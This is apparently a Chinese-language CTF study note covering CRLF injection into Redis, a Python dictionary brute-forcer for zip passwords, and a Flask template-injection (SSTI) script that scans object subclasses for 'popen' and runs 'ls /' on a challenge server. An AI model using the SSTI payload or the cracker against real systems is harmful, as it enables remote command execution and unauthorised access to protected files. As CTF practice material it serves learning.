Background

师傅们都说没有代码能力的黑客很难走下去,正好自己的zhishihezi有这么一个小模块,简单跟着走走

CRLF

刚刚做完的题目
CRLF注入攻击
6D02F422-74BC-4DA1-9F37-1D02B9896D3D.png
发送redis命令读flag
hmm,大致思路就是这样 然后他这个远程环境好像崩掉了
8DDE2905-9E90-4B1C-94CE-A2E4903ADA7B.png

zip爆破密码

import zipfile

def read_dicts(filename):
    dicts=[]
    with open(filename,'r') as f:
        dicts=[pwd.strip() for pwd in f.readlines()]
    return dicts

def blast(zip_f,pwd):
    try:
        zip_f.extractall('./',pwd=pwd.encode())
        return pwd
    except Exception as e:
        if 'Bad password' in str(e):
            return False




if __name__ == '__main__':
    dict_file ='./zip_dict_1673.txt'
    zip_file=zipfile.ZipFile('./test_8606.zip')
    for password in read_dicts(dict_file):
        result=blast(zip_file,password)
        if result:
            print('[+]get password:'+result)
            break
    else:
        print('- not found.')

直接上exp
我的踩坑点:ZipFile这个驼峰规则 F大写。
学到了一些数据的处理手段和简单的用法吧

flask模板注入

ctf的经典题目 ssti
其实知识盒子里面的那个没啥意思,
正常来说是找index的值的
我们知道pytho万物皆对象
所有都是基于object
ED5B6B0F-CC39-4617-B276-BABB8EA7A91F.png
通过这个找可用的os类,通过编号读,这里面可以写脚本

import requests
import re
for i in range(0,400):
    url='''http://node3.buuoj.cn:28788/?name={{''.__class__.__base__.__subclasses__()[%d].__init__.__globals__['popen']('ls /').read()}}'''%(i)
    res = requests.get(url)
    if("root" in res.text):
        print(res.text)
        break
    else:
        print("no")